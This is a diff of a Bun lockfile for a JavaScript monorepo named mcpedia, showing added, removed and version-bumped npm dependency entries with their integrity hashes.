"lightningcss": ["lightningcss@1.32.0", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.32.0", "lightningcss-darwin-arm64": "1.32.0", "lightningcss-darwin-x64": "1.32.0", "lightningcss-freebsd-x64": "1.32.0", "lightningcss-linux-arm-gnueabihf": "1.32.0", "lightningcss-linux-arm64-gnu": "1.32.0", "lightningcss-linux-arm64-musl": "1.32.0", "lightningcss-linux-x64-gnu": "1.32.0", "lightningcss-linux-x64-musl": "1.32.0", "lightningcsLine truncated
|
||||
|
||||
"lightningcss-android-arm64": ["lightningcss-android-arm64@1.32.0", "", { "os": "android", "cpu": "arm64" }, "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg=="],
|
||||
@@ -1109,8 +1130,12 @@
|
||||
|
||||
"loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": { "loose-envify": "cli.js" } }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="],
|
||||
|
||||
"lowlight": ["lowlight@3.3.0", "", { "dependencies": { "@types/hast": "^3.0.0", "devlop": "^1.0.0", "highlight.js": "~11.11.0" } }, "sha512-0JNhgFoPvP6U6lE/UdVsSq99tn6DhjjpAj5MxG49ewd2mOBVtwWYIT8ClyABhq198aXXODMU6Ox8DrGy/CpTZQ=="],
|
||||
|
||||
"lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
|
||||
|
||||
"lucide-react": ["lucide-react@1.33.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-MTRwMy0ZlL8Ur/vOAiJ9XGHE+kFPC7brq6MxAm0GiGXEBj0qy0jA/pG4N675oSzciO/UCdX8T+5yUQdmDeTLxg=="],
|
||||
|
||||
"luxon": ["luxon@3.7.2", "", {}, "sha512-vtEhXh/gNjI9Yg1u4jX/0YVPMvxzHuGgCm6tC5kZyb08yjGWGnqAjGJvcXbqQR2P3MyMEFnRbpcdFS6PBcLqew=="],
|
||||
|
||||
"magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
|
||||
@@ -1217,6 +1242,8 @@
|
||||
|
||||
"mime-types": ["mime-types@3.0.2", "", { "dependencies": { "mime-db": "^1.54.0" } }, "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A=="],
|
||||
|
||||
"minimalistic-assert": ["minimalistic-assert@1.0.1", "", {}, "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A=="],
|
||||
|
||||
"minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="],
|
||||
|
||||
"minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="],
|
||||
@@ -1227,7 +1254,7 @@
|
||||
|
||||
"msgpackr-extract": ["msgpackr-extract@3.0.4", "", { "dependencies": { "node-gyp-build-optional-packages": "5.2.2" }, "optionalDependencies": { "@msgpackr-extract/msgpackr-extract-darwin-arm64": "3.0.4", "@msgpackr-extract/msgpackr-extract-darwin-x64": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-arm": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-arm64": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-x64": "3.0.4", "@msgpackr-extract/msgpackr-extract-win32-x64": "3.0.4" }, "Line truncated
|
||||
|
||||
"nanoid": ["nanoid@3.3.18", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w=="],
|
||||
"nanoid": ["nanoid@5.1.16", "", { "bin": { "nanoid": "bin/nanoid.js" } }, "sha512-kVrnsrJqMR8+oLJnGEmSWw9BivK5mt7H3FZatVRjrc5wGqFYuBxX1yG7+A7Gi5AefkX6t/oCkizcQgpu0cY1dQ=="],
|
||||
|
||||
"napi-postinstall": ["napi-postinstall@0.3.4", "", { "bin": { "napi-postinstall": "lib/cli.js" } }, "sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ=="],
|
||||
|
||||
@@ -1235,7 +1262,7 @@
|
||||
|
||||
"negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="],
|
||||
|
||||
"next": ["next@16.3.1", "", { "dependencies": { "@next/env": "16.3.1", "@swc/helpers": "0.5.23", "baseline-browser-mapping": "^2.9.19", "caniuse-lite": "^1.0.30001579", "postcss": "8.5.23", "styled-jsx": "5.1.6" }, "optionalDependencies": { "@next/swc-darwin-arm64": "16.3.1", "@next/swc-darwin-x64": "16.3.1", "@next/swc-linux-arm64-gnu": "16.3.1", "@next/swc-linux-arm64-musl": "16.3.1", "@next/swc-linux-x64-gnu": "16.3.1", "@next/swc-linux-x64-musl": "16.3.1", "@next/swc-win32-arm64-msvc": Line truncated
|
||||
"next": ["next@16.3.3", "", { "dependencies": { "@next/env": "16.3.3", "@swc/helpers": "0.5.23", "baseline-browser-mapping": "^2.9.19", "caniuse-lite": "^1.0.30001579", "postcss": "8.5.23", "styled-jsx": "5.1.6" }, "optionalDependencies": { "@next/swc-darwin-arm64": "16.3.3", "@next/swc-darwin-x64": "16.3.3", "@next/swc-linux-arm64-gnu": "16.3.3", "@next/swc-linux-arm64-musl": "16.3.3", "@next/swc-linux-x64-gnu": "16.3.3", "@next/swc-linux-x64-musl": "16.3.3", "@next/swc-win32-arm64-msvc": Line truncated
|
||||
|
||||
"node-abort-controller": ["node-abort-controller@3.1.1", "", {}, "sha512-AGK2yQKIjRuqnc6VkX2Xj5d+QW8xZ87pa1UK6yA6ouUyuxfHuMP6umE5QK7UmTeOAymo+Zx1Fxiuw9rVx8taHQ=="],
|
||||
|
||||
@@ -1273,6 +1300,8 @@
|
||||
|
||||
"p-locate": ["p-locate@5.0.0", "", { "dependencies": { "p-limit": "^3.0.2" } }, "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw=="],
|
||||
|
||||
"pako": ["pako@1.0.11", "", {}, "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw=="],
|
||||
|
||||
"parent-module": ["parent-module@1.0.1", "", { "dependencies": { "callsites": "^3.0.0" } }, "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g=="],
|
||||
|
||||
"parse-entities": ["parse-entities@4.0.2", "", { "dependencies": { "@types/unist": "^2.0.0", "character-entities-legacy": "^3.0.0", "character-reference-invalid": "^2.0.0", "decode-named-character-reference": "^1.0.0", "is-alphanumerical": "^2.0.0", "is-decimal": "^2.0.0", "is-hexadecimal": "^2.0.0" } }, "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw=="],
|
||||
@@ -1305,6 +1334,8 @@
|
||||
|
||||
"prettier": ["prettier@3.9.6", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-OpN0zzVdiaiAhxpuuj5efpIS4sY9j7bY6uR5mnj5yPzGkdkjNKSJeUThPb60Jw29QuAZgA4o+/iB49kFiaBX6g=="],
|
||||
|
||||
"process-nextick-args": ["process-nextick-args@2.0.1", "", {}, "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="],
|
||||
|
||||
"prop-types": ["prop-types@15.8.1", "", { "dependencies": { "loose-envify": "^1.4.0", "object-assign": "^4.1.1", "react-is": "^16.13.1" } }, "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg=="],
|
||||
|
||||
"property-information": ["property-information@7.2.0", "", {}, "sha512-IAtzIB6sUiWaJYrX9smp3V46pBGbBeLFRGdh25kg1334VcBlD8HzhPeNIWQH9zhGmo2itIe25EHt9dQP7G5hmg=="],
|
||||
@@ -1329,12 +1360,16 @@
|
||||
|
||||
"react-markdown": ["react-markdown@9.1.0", "", { "dependencies": { "@types/hast": "^3.0.0", "@types/mdast": "^4.0.0", "devlop": "^1.0.0", "hast-util-to-jsx-runtime": "^2.0.0", "html-url-attributes": "^3.0.0", "mdast-util-to-hast": "^13.0.0", "remark-parse": "^11.0.0", "remark-rehype": "^11.0.0", "unified": "^11.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" }, "peerDependencies": { "@types/react": ">=18", "react": ">=18" } }, "sha512-xaijuJB0kzGiUdG7nc2MOMDUDBWPyGAjZtUrow9XxUeua8IqePLine truncated
|
||||
|
||||
"readable-stream": ["readable-stream@2.3.8", "", { "dependencies": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", "isarray": "~1.0.0", "process-nextick-args": "~2.0.0", "safe-buffer": "~5.1.1", "string_decoder": "~1.1.1", "util-deprecate": "~1.0.1" } }, "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA=="],
|
||||
|
||||
"redis-errors": ["redis-errors@1.2.0", "", {}, "sha512-1qny3OExCf0UvUV/5wpYKf2YwPcOqXzkwKKSmKHiE6ZMQs5heeE/c8eXK+PNllPvmjgAbfnsbpkGZWy8cBpn9w=="],
|
||||
|
||||
"reflect.getprototypeof": ["reflect.getprototypeof@1.0.10", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-abstract": "^1.23.9", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "get-intrinsic": "^1.2.7", "get-proto": "^1.0.1", "which-builtin-type": "^1.2.1" } }, "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw=="],
|
||||
|
||||
"regexp.prototype.flags": ["regexp.prototype.flags@1.5.4", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-errors": "^1.3.0", "get-proto": "^1.0.1", "gopd": "^1.2.0", "set-function-name": "^2.0.2" } }, "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA=="],
|
||||
|
||||
"rehype-highlight": ["rehype-highlight@7.0.2", "", { "dependencies": { "@types/hast": "^3.0.0", "hast-util-to-text": "^4.0.0", "lowlight": "^3.0.0", "unist-util-visit": "^5.0.0", "vfile": "^6.0.0" } }, "sha512-k158pK7wdC2qL3M5NcZROZ2tR/l7zOzjxXd5VGdcfIyoijjQqpHd3JKtYSBDpDZ38UI2WJWuFAtkMDxmx5kstA=="],
|
||||
|
||||
"rehype-slug": ["rehype-slug@6.0.0", "", { "dependencies": { "@types/hast": "^3.0.0", "github-slugger": "^2.0.0", "hast-util-heading-rank": "^3.0.0", "hast-util-to-string": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-lWyvf/jwu+oS5+hL5eClVd3hNdmwM1kAC0BUvEGD19pajQMIzcNUd/k9GsfQ+FfECvX+JE+e9/btsKH0EjJT6A=="],
|
||||
|
||||
"remark-gfm": ["remark-gfm@4.0.1", "", { "dependencies": { "@types/mdast": "^4.0.0", "mdast-util-gfm": "^3.0.0", "micromark-extension-gfm": "^3.0.0", "remark-parse": "^11.0.0", "remark-stringify": "^11.0.0", "unified": "^11.0.0" } }, "sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg=="],
|
||||
@@ -1361,12 +1396,16 @@
|
||||
|
||||
"safe-array-concat": ["safe-array-concat@1.1.4", "", { "dependencies": { "call-bind": "^1.0.9", "call-bound": "^1.0.4", "get-intrinsic": "^1.3.0", "has-symbols": "^1.1.0", "isarray": "^2.0.5" } }, "sha512-wtZlHyOje6OZTGqAoaDKxFkgRtkF9CnHAVnCHKfuj200wAgL+bSJhdsCD2l0Qx/2ekEXjPWcyKkfGb5CPboslg=="],
|
||||
|
||||
"safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="],
|
||||
|
||||
"safe-push-apply": ["safe-push-apply@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0", "isarray": "^2.0.5" } }, "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA=="],
|
||||
|
||||
"safe-regex-test": ["safe-regex-test@1.1.0", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "is-regex": "^1.2.1" } }, "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw=="],
|
||||
|
||||
"safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="],
|
||||
|
||||
"sax": ["sax@1.6.1", "", {}, "sha512-42tBVwLWnaQvW5zc4HbZrTuWccECCZfBi92FDuwtqxasH+JbPB3/FOKb1m222K42R4WxuxzzMsTswfzgtSu64Q=="],
|
||||
|
||||
"scheduler": ["scheduler@0.27.0", "", {}, "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q=="],
|
||||
|
||||
"section-matter": ["section-matter@1.0.0", "", { "dependencies": { "extend-shallow": "^2.0.1", "kind-of": "^6.0.0" } }, "sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA=="],
|
||||
@@ -1383,6 +1422,8 @@
|
||||
|
||||
"set-proto": ["set-proto@1.0.0", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0" } }, "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw=="],
|
||||
|
||||
"setimmediate": ["setimmediate@1.0.5", "", {}, "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA=="],
|
||||
|
||||
"setprototypeof": ["setprototypeof@1.2.0", "", {}, "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="],
|
||||
|
||||
"sharp": ["sharp@0.35.3", "", { "dependencies": { "@img/colour": "^1.1.0", "detect-libc": "^2.1.2", "semver": "^7.8.5" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.35.3", "@img/sharp-darwin-x64": "0.35.3", "@img/sharp-freebsd-wasm32": "0.35.3", "@img/sharp-libvips-darwin-arm64": "1.3.2", "@img/sharp-libvips-darwin-x64": "1.3.2", "@img/sharp-libvips-linux-arm": "1.3.2", "@img/sharp-libvips-linux-arm64": "1.3.2", "@img/sharp-libvips-linux-ppc64": "1.3.2", "@img/sharp-libvips-linLine truncated
|
||||
@@ -1391,8 +1432,6 @@
|
||||
|
||||
"shebang-regex": ["shebang-regex@3.0.0", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="],
|
||||
|
||||
"shell-quote": ["shell-quote@1.10.0", "", {}, "sha512-w1aiOKwKuRgtwAReIIj89puqg+I7GvX4IbLrvmhXbzQsj1+Zwi4VO3+fa6ZF91TWSjIxoEkKnMeHcLEODK5ZXA=="],
|
||||
|
||||
"side-channel": ["side-channel@1.1.1", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.4", "side-channel-list": "^1.0.1", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" } }, "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ=="],
|
||||
|
||||
"side-channel-list": ["side-channel-list@1.0.1", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.4" } }, "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w=="],
|
||||
@@ -1431,6 +1470,8 @@
|
||||
|
||||
"string.prototype.trimstart": ["string.prototype.trimstart@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg=="],
|
||||
|
||||
"string_decoder": ["string_decoder@1.1.1", "", { "dependencies": { "safe-buffer": "~5.1.0" } }, "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg=="],
|
||||
|
||||
"stringify-entities": ["stringify-entities@4.0.4", "", { "dependencies": { "character-entities-html4": "^2.0.0", "character-entities-legacy": "^3.0.0" } }, "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg=="],
|
||||
|
||||
"strip-bom": ["strip-bom@3.0.0", "", {}, "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA=="],
|
||||
@@ -1469,6 +1510,8 @@
|
||||
|
||||
"tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
|
||||
|
||||
"tsx": ["tsx@4.23.12", "", { "dependencies": { "esbuild": "~0.28.0" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "bin": { "tsx": "dist/cli.mjs" } }, "sha512-FDf4L4sYzKtzWYhU/Xm0AQFdTjdIxNo9ElTf2mxXM6k8YMHXzYUe4yODVaXP4V9uMFbVg8c0qyBccK2OOxb45Q=="],
|
||||
|
||||
"turbo": ["turbo@2.10.11", "", { "optionalDependencies": { "@turbo/darwin-64": "2.10.11", "@turbo/darwin-arm64": "2.10.11", "@turbo/linux-64": "2.10.11", "@turbo/linux-arm64": "2.10.11", "@turbo/windows-64": "2.10.11", "@turbo/windows-arm64": "2.10.11" }, "bin": { "turbo": "bin/turbo" } }, "sha512-yQfwQVoRXwOuyX1LxiJFBFNg6VfuYh+/RyZLd82+isgyLkBXw3S5XRRzvcck1FAjSCG5sVyLd+O1eDMvYa3J7g=="],
|
||||
|
||||
"type-check": ["type-check@0.4.0", "", { "dependencies": { "prelude-ls": "^1.2.1" } }, "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew=="],
|
||||
@@ -1493,6 +1536,8 @@
|
||||
|
||||
"unified": ["unified@11.0.5", "", { "dependencies": { "@types/unist": "^3.0.0", "bail": "^2.0.0", "devlop": "^1.0.0", "extend": "^3.0.0", "is-plain-obj": "^4.0.0", "trough": "^2.0.0", "vfile": "^6.0.0" } }, "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA=="],
|
||||
|
||||
"unist-util-find-after": ["unist-util-find-after@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0" } }, "sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ=="],
|
||||
|
||||
"unist-util-is": ["unist-util-is@6.0.1", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g=="],
|
||||
|
||||
"unist-util-position": ["unist-util-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0" } }, "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA=="],
|
||||
@@ -1519,7 +1564,7 @@
|
||||
|
||||
"vfile-message": ["vfile-message@4.0.3", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw=="],
|
||||
|
||||
"which": ["which@4.0.0", "", { "dependencies": { "isexe": "^3.1.1" }, "bin": { "node-which": "bin/which.js" } }, "sha512-GlaYyEb07DPxYCKhKzplCWBJtvxZcZMrL+4UkrTSJHHPyZU4mYYTv3qaOe77H7EODLSSopAUFAc6W8U4yqvscg=="],
|
||||
"which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="],
|
||||
|
||||
"which-boxed-primitive": ["which-boxed-primitive@1.1.1", "", { "dependencies": { "is-bigint": "^1.1.0", "is-boolean-object": "^1.2.1", "is-number-object": "^1.1.1", "is-string": "^1.1.1", "is-symbol": "^1.1.1" } }, "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA=="],
|
||||
|
||||
@@ -1533,6 +1578,10 @@
|
||||
|
||||
"wrappy": ["wrappy@1.0.2", "", {}, "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="],
|
||||
|
||||
"xml": ["xml@1.0.1", "", {}, "sha512-huCv9IH9Tcf95zuYCsQraZtWnJvBtLVE0QHMOs8bWyZAFZNDcYjsPq1nEx8jKA9y+Beo9v+7OBPRisQTjinQMw=="],
|
||||
|
||||
"xml-js": ["xml-js@1.6.11", "", { "dependencies": { "sax": "^1.2.4" }, "bin": { "xml-js": "./bin/cli.js" } }, "sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g=="],
|
||||
|
||||
"yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="],
|
||||
|
||||
"yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="],
|
||||
@@ -1563,18 +1612,10 @@
|
||||
|
||||
"@img/sharp-wasm32/@emnapi/runtime": ["@emnapi/runtime@1.11.3", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-Xz4Tpyki7XyrpbUK1jR1AhdAdaXyhhY4lZ3neLodmhpuWfy2PAQN5B46sAiU4liOXGLkHypn/qU+jvfWSCYYLA=="],
|
||||
|
||||
"@mcpedia/db/@types/node": ["@types/node@20.19.43", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-6oYBAi5ikg4Pl+kGsoYtawUMBT2zZMCvPNF7pVLnHZfd1zf38DRiWn/gT01RYCdUqkv7Fhr+C9ot4/tb+2sVvA=="],
|
||||
|
||||
"@mcpedia/mcp/@types/node": ["@types/node@20.19.43", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-6oYBAi5ikg4Pl+kGsoYtawUMBT2zZMCvPNF7pVLnHZfd1zf38DRiWn/gT01RYCdUqkv7Fhr+C9ot4/tb+2sVvA=="],
|
||||
|
||||
"@mcpedia/mcp/zod": ["zod@4.4.3", "", {}, "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ=="],
|
||||
|
||||
"@mcpedia/mcp-client/@types/node": ["@types/node@20.19.43", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-6oYBAi5ikg4Pl+kGsoYtawUMBT2zZMCvPNF7pVLnHZfd1zf38DRiWn/gT01RYCdUqkv7Fhr+C9ot4/tb+2sVvA=="],
|
||||
|
||||
"@mcpedia/mcp-client/zod": ["zod@4.4.3", "", {}, "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ=="],
|
||||
|
||||
"@mcpedia/web/@types/node": ["@types/node@20.19.43", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-6oYBAi5ikg4Pl+kGsoYtawUMBT2zZMCvPNF7pVLnHZfd1zf38DRiWn/gT01RYCdUqkv7Fhr+C9ot4/tb+2sVvA=="],
|
||||
|
||||
"@modelcontextprotocol/sdk/@hono/node-server": ["@hono/node-server@2.1.1", "", { "peerDependencies": { "hono": "^4" } }, "sha512-ELuehkj5VCBdgEw9zs+ivkKwyzzUCSQuE96YmiPvn1ECBoZCczbFXJLeEGMTYjphP6gydh4pHMqEYPVMYUVgQg=="],
|
||||
|
||||
"@modelcontextprotocol/sdk/zod": ["zod@4.4.3", "", {}, "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ=="],
|
||||
@@ -1601,7 +1642,7 @@
|
||||
|
||||
"body-parser/content-type": ["content-type@2.1.0", "", {}, "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag=="],
|
||||
|
||||
"cross-spawn/which": ["which@2.0.2", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="],
|
||||
"docx/@types/node": ["@types/node@25.9.5", "", { "dependencies": { "undici-types": ">=7.24.0 <7.24.7" } }, "sha512-OScDchr2fwuUmWdf4kZ9h7PcJiYDVInhJizG/biAq3cAvqwYktuy/TYGGdZNMtNTFUP7rnb0NU4TUdm82kt4Rg=="],
|
||||
|
||||
